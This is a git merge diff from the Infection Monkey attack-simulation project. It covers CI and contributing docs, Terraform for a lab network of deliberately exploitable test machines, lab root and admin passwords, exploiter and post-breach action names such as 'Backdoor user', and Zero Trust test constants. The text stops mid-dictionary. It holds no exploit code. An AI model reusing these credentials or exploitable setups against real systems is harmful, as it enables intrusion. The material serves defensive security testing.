Merge remote-tracking branch 'upstream/develop' into 393/python-3

# Conflicts:
#	monkey/infection_monkey/exploit/rdpgrinder.py
#	monkey/infection_monkey/exploit/sshexec.py
#	monkey/infection_monkey/exploit/tools.py
#	monkey/infection_monkey/requirements_windows.txt
#	monkey/infection_monkey/transport/http.py
#	monkey/monkey_island/cc/models/__init__.py
#	monkey/monkey_island/cc/models/monkey_test.py
#	monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
#	monkey/monkey_island/cc/services/reporting/report.py
This commit is contained in:
VakarisZ 2019-09-18 16:43:34 +03:00
commit 1eac005563
249 changed files with 7220 additions and 2100 deletions

View File

@ -3,12 +3,6 @@ language: python
cache: pip
python:
- 2.7
- 3.6
matrix:
include:
- python: 3.7
dist: xenial # required for Python 3.7 (travis-ci/travis-ci#9069)
sudo: required # required for Python 3.7 (travis-ci/travis-ci#9069)
install:
#- pip install -r requirements.txt
- pip install flake8 # pytest # add another testing frameworks later

View File

@ -2,11 +2,13 @@
Thanks for your interest in making the Monkey -- and therefore, your network -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues).
Are you about to report a bug? Sorry to hear it. Here's our
[Issue tracker](https://github.com/guardicore/monkey/issues).
Please try to be as specific as you can about your problem; try to include steps
to reproduce. While we'll try to help anyway, focusing us will help us help you faster.
If you want to contribute new code or fix bugs..
If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the
maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk).
## Submitting code
@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c
* **Don't** leave your pull request description blank.
* **Do** license your code as GPLv3.
Also, please submit PRs to the develop branch.
Also, please submit PRs to the `develop` branch.
#### Unit tests
**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same
filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`.
Please try to read some of the existing unit testing code, so you can see some examples.
#### Branch naming scheme
**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example,
`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`.
## Issues
* **Do** write a detailed description of your bug and use a descriptive title.

View File

@ -30,7 +30,6 @@ The Infection Monkey uses the following techniques and exploits to propagate to
* Multiple exploit methods:
* SSH
* SMB
* RDP
* WMI
* Shellshock
* Conficker

View File

@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
# Other directories and paths ( most likely you dont need to configure)
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
$MONKEY_DIR = "\monkey\infection_monkey"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner"
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
$MK32_DLL = "mk32.dll"
$MK64_DLL = "mk64.dll"

View File

@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error
# Build samba
log_message "Building samba binaries"
sudo apt-get install gcc-multilib
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner
sudo chmod +x ./build.sh || handle_error
./build.sh

View File

@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",

View File

@ -58,7 +58,7 @@ Requirements:
To deploy:
1. Configure service account for your project:
a. Create a service account and name it “your\_name-monkeyZoo-user”
a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account:
@ -74,7 +74,7 @@ To deploy:
**Project -> Owner**
c. Download its **Service account key**. Select JSON format.
c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
a. **Compute Engine -\> Compute image user**
@ -82,20 +82,30 @@ To deploy:
../monkey/envs/monkey\_zoo/terraform/config.tf file (dont forget to
link to your service account key file):
> provider "google" {
>
> project = "project-28054666"
>
> region = "europe-west3"
>
> zone = "europe-west3-b"
>
> credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
>
> }
>
> service\_account\_email="test@project-925243.iam.gserviceaccount.com"
provider "google" {
project = "test-000000" // Change to your project id
region = "europe-west3" // Change to your desired region or leave default
zone = "europe-west3-b" // Change to your desired zone or leave default
credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
// If you followed instruction above leave it as is
}
locals {
resource_prefix = "" // All of the resources will have this prefix.
// Only change if you want to have multiple zoo's in the same project
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email
monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is.
}
4. Run terraform init
To deploy the network run:<br>
@ -500,6 +510,42 @@ fullTest.conf is a good config to start, because it covers all machines.
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>11</strong> Tunneling M3</p>
<p>(10.2.0.11)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 16.04.05 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>OpenSSL</td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>22</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>3Q=(Ge(+&w]*</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
@ -606,20 +652,16 @@ fullTest.conf is a good config to start, because it covers all machines.
<td>2}p}aR]&amp;=M</td>
</tr>
<tr class="odd">
<td>Scan results:</td>
<td>Machine exploited using RDP grinder</td>
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Remote desktop enabled</p>
<p>Admin users credentials:</p>
<p>m0nk3y, 2}p}aR]&amp;=M</p></td>
</tr>
<tr class="odd">
<tr class="even">
<td>Notes:</td>
<td></td>
</tr>
<tr class="even">
<tr class="odd">
<td></td>
<td></td>
</tr>
@ -649,7 +691,7 @@ fullTest.conf is a good config to start, because it covers all machines.
</tr>
<tr class="even">
<td>Servers config:</td>
<td><p>Has cashed mimikatz-15 RDP credentials</p>
<td><p>Has cached mimikatz-15 RDP credentials</p>
<p><a href="https://social.technet.microsoft.com/Forums/windows/en-US/8160d62b-0f5d-48a3-9fe9-5cd319837917/how-te-reenable-smb1-in-windows1o?forum=win10itprogeneral">SMB</a> turned on</p></td>
</tr>
<tr class="odd">

View File

@ -2,9 +2,10 @@ provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
credentials = "${file("../gcp_keys/gcp_key.json")}"
}
locals {
resource_prefix = ""
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
}
}

View File

@ -1,5 +1,5 @@
resource "google_compute_firewall" "islands-in" {
name = "islands-in"
name = "${local.resource_prefix}islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
}
resource "google_compute_firewall" "islands-out" {
name = "islands-out"
name = "${local.resource_prefix}islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
}
resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in"
name = "${local.resource_prefix}monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -35,11 +35,11 @@ resource "google_compute_firewall" "monkeyzoo-in" {
direction = "INGRESS"
priority = "65534"
source_ranges = ["10.2.2.0/24"]
source_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out"
name = "${local.resource_prefix}monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
@ -48,11 +48,11 @@ resource "google_compute_firewall" "monkeyzoo-out" {
direction = "EGRESS"
priority = "65534"
destination_ranges = ["10.2.2.0/24"]
destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in"
name = "${local.resource_prefix}tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
@ -60,11 +60,11 @@ resource "google_compute_firewall" "tunneling-in" {
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/28"]
source_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out"
name = "${local.resource_prefix}tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
@ -72,5 +72,28 @@ resource "google_compute_firewall" "tunneling-out" {
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"]
destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"]
}
resource "google_compute_firewall" "tunneling2-in" {
name = "${local.resource_prefix}tunneling2-in"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/27"]
}
resource "google_compute_firewall" "tunneling2-out" {
name = "${local.resource_prefix}tunneling2-out"
network = "${google_compute_network.tunneling2.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/27"]
}

View File

@ -26,23 +26,27 @@ data "google_compute_image" "shellshock-8" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2"
name = "tunneling-9"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2"
name = "tunneling-10"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-11" {
name = "tunneling-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2"
name = "sshkeys-11"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2"
name = "sshkeys-12"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2"
name = "mimikatz-14"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
@ -58,7 +62,7 @@ data "google_compute_image" "weblogic-18" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2"
name = "weblogic-19"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
@ -78,7 +82,7 @@ data "google_compute_image" "struts2-23" {
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
name = "struts-24-v2"
name = "struts2-24"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
@ -88,4 +92,4 @@ data "google_compute_image" "island-linux-250" {
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
}
}

View File

@ -6,29 +6,40 @@ locals {
}
resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo"
name = "${local.resource_prefix}monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
name = "tunneling"
name = "${local.resource_prefix}tunneling"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling2" {
name = "${local.resource_prefix}tunneling2"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main"
name = "${local.resource_prefix}monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main"
name = "${local.resource_prefix}tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
resource "google_compute_subnetwork" "tunneling2-main" {
name = "${local.resource_prefix}tunneling2-main"
ip_cidr_range = "10.2.0.0/27"
network = "${google_compute_network.tunneling2.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2"
name = "${local.resource_prefix}hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -37,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
@ -45,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
}
resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3"
name = "${local.resource_prefix}hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -54,13 +65,13 @@ resource "google_compute_instance_from_template" "hadoop-3" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4"
name = "${local.resource_prefix}elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -69,13 +80,13 @@ resource "google_compute_instance_from_template" "elastic-4" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5"
name = "${local.resource_prefix}elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -84,14 +95,14 @@ resource "google_compute_instance_from_template" "elastic-5" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6"
name = "${local.resource_prefix}sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -99,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.6"
}
}
@ -107,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7"
name = "${local.resource_prefix}sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
@ -116,14 +127,14 @@ resource "google_compute_instance_from_template" "sambacry-7" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8"
name = "${local.resource_prefix}shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -132,13 +143,13 @@ resource "google_compute_instance_from_template" "shellshock-8" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9"
name = "${local.resource_prefix}tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -147,18 +158,17 @@ resource "google_compute_instance_from_template" "tunneling-9" {
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.9"
}
network_interface{
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10"
name = "${local.resource_prefix}tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -167,13 +177,32 @@ resource "google_compute_instance_from_template" "tunneling-10" {
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
subnetwork="${local.resource_prefix}tunneling-main"
network_ip="10.2.1.10"
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.10"
}
}
resource "google_compute_instance_from_template" "tunneling-11" {
name = "${local.resource_prefix}tunneling-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-11.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11"
name = "${local.resource_prefix}sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -182,13 +211,13 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12"
name = "${local.resource_prefix}sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -197,14 +226,14 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13"
name = "${local.resource_prefix}rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -212,14 +241,14 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14"
name = "${local.resource_prefix}mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -228,13 +257,13 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15"
name = "${local.resource_prefix}mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -243,13 +272,13 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16"
name = "${local.resource_prefix}mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -258,14 +287,14 @@ resource "google_compute_instance_from_template" "mssql-16" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17"
name = "${local.resource_prefix}upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -273,7 +302,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
}
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
@ -284,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
*/
resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18"
name = "${local.resource_prefix}weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -293,13 +322,13 @@ resource "google_compute_instance_from_template" "weblogic-18" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19"
name = "${local.resource_prefix}weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -308,13 +337,13 @@ resource "google_compute_instance_from_template" "weblogic-19" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20"
name = "${local.resource_prefix}smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -323,13 +352,13 @@ resource "google_compute_instance_from_template" "smb-20" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21"
name = "${local.resource_prefix}scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -338,13 +367,13 @@ resource "google_compute_instance_from_template" "scan-21" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22"
name = "${local.resource_prefix}scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -353,13 +382,13 @@ resource "google_compute_instance_from_template" "scan-22" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23"
name = "${local.resource_prefix}struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
@ -368,13 +397,13 @@ resource "google_compute_instance_from_template" "struts2-23" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24"
name = "${local.resource_prefix}struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
@ -383,13 +412,13 @@ resource "google_compute_instance_from_template" "struts2-24" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250"
name = "${local.resource_prefix}island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
@ -400,7 +429,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
@ -410,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
}
resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251"
name = "${local.resource_prefix}island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
@ -421,11 +450,11 @@ resource "google_compute_instance_from_template" "island-windows-251" {
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}
}

View File

@ -1,5 +1,5 @@
resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16"
name = "${local.resource_prefix}ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
@ -24,7 +24,7 @@ resource "google_compute_instance_template" "ubuntu16" {
}
resource "google_compute_instance_template" "windows2016" {
name = "windows2016"
name = "${local.resource_prefix}windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
@ -42,4 +42,4 @@ resource "google_compute_instance_template" "windows2016" {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
}
}

View File

@ -7,7 +7,7 @@ import json
__author__ = 'shay.nehmad'
class TestFilter_instance_data_from_aws_response(TestCase):
class TestFilterInstanceDataFromAwsResponse(TestCase):
def test_filter_instance_data_from_aws_response(self):
json_response_full = """
{

View File

@ -0,0 +1,2 @@
from zero_trust_consts import populate_mappings
populate_mappings()

View File

@ -0,0 +1,2 @@
ES_SERVICE = 'elastic-search-9200'

View File

@ -0,0 +1,3 @@
POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
POST_BREACH_BACKDOOR_USER = "Backdoor user"
POST_BREACH_FILE_EXECUTION = "File execution"

View File

@ -0,0 +1,205 @@
"""
This file contains all the static data relating to Zero Trust. It is mostly used in the zero trust report generation and
in creating findings.
This file contains static mappings between zero trust components such as: pillars, principles, tests, statuses.
Some of the mappings are computed when this module is loaded.
"""
AUTOMATION_ORCHESTRATION = u"Automation & Orchestration"
VISIBILITY_ANALYTICS = u"Visibility & Analytics"
WORKLOADS = u"Workloads"
DEVICES = u"Devices"
NETWORKS = u"Networks"
PEOPLE = u"People"
DATA = u"Data"
PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION)
STATUS_UNEXECUTED = u"Unexecuted"
STATUS_PASSED = u"Passed"
STATUS_VERIFY = u"Verify"
STATUS_FAILED = u"Failed"
# Don't change order! The statuses are ordered by importance/severity.
ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED]
TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic"
TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
TEST_MACHINE_EXPLOITED = u"machine_exploited"
TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
TEST_SEGMENTATION = u"segmentation"
TEST_TUNNELING = u"tunneling"
TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
TESTS = (
TEST_SEGMENTATION,
TEST_MALICIOUS_ACTIVITY_TIMELINE,
TEST_SCHEDULED_EXECUTION,
TEST_ENDPOINT_SECURITY_EXISTS,
TEST_MACHINE_EXPLOITED,
TEST_DATA_ENDPOINT_HTTP,
TEST_DATA_ENDPOINT_ELASTIC,
TEST_TUNNELING,
TEST_COMMUNICATE_AS_NEW_USER
)
PRINCIPLE_DATA_TRANSIT = u"data_transit"
PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
PRINCIPLE_SEGMENTATION = u"segmentation"
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
PRINCIPLES = {
PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
u"Access Control) only.",
}
POSSIBLE_STATUSES_KEY = u"possible_statuses"
PILLARS_KEY = u"pillars"
PRINCIPLE_KEY = u"principle_key"
FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
TEST_EXPLANATION_KEY = u"explanation"
TESTS_MAP = {
TEST_SEGMENTATION: {
TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
FINDING_EXPLANATION_BY_STATUS_KEY: {
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
},
PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
PILLARS_KEY: [NETWORKS],
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
},
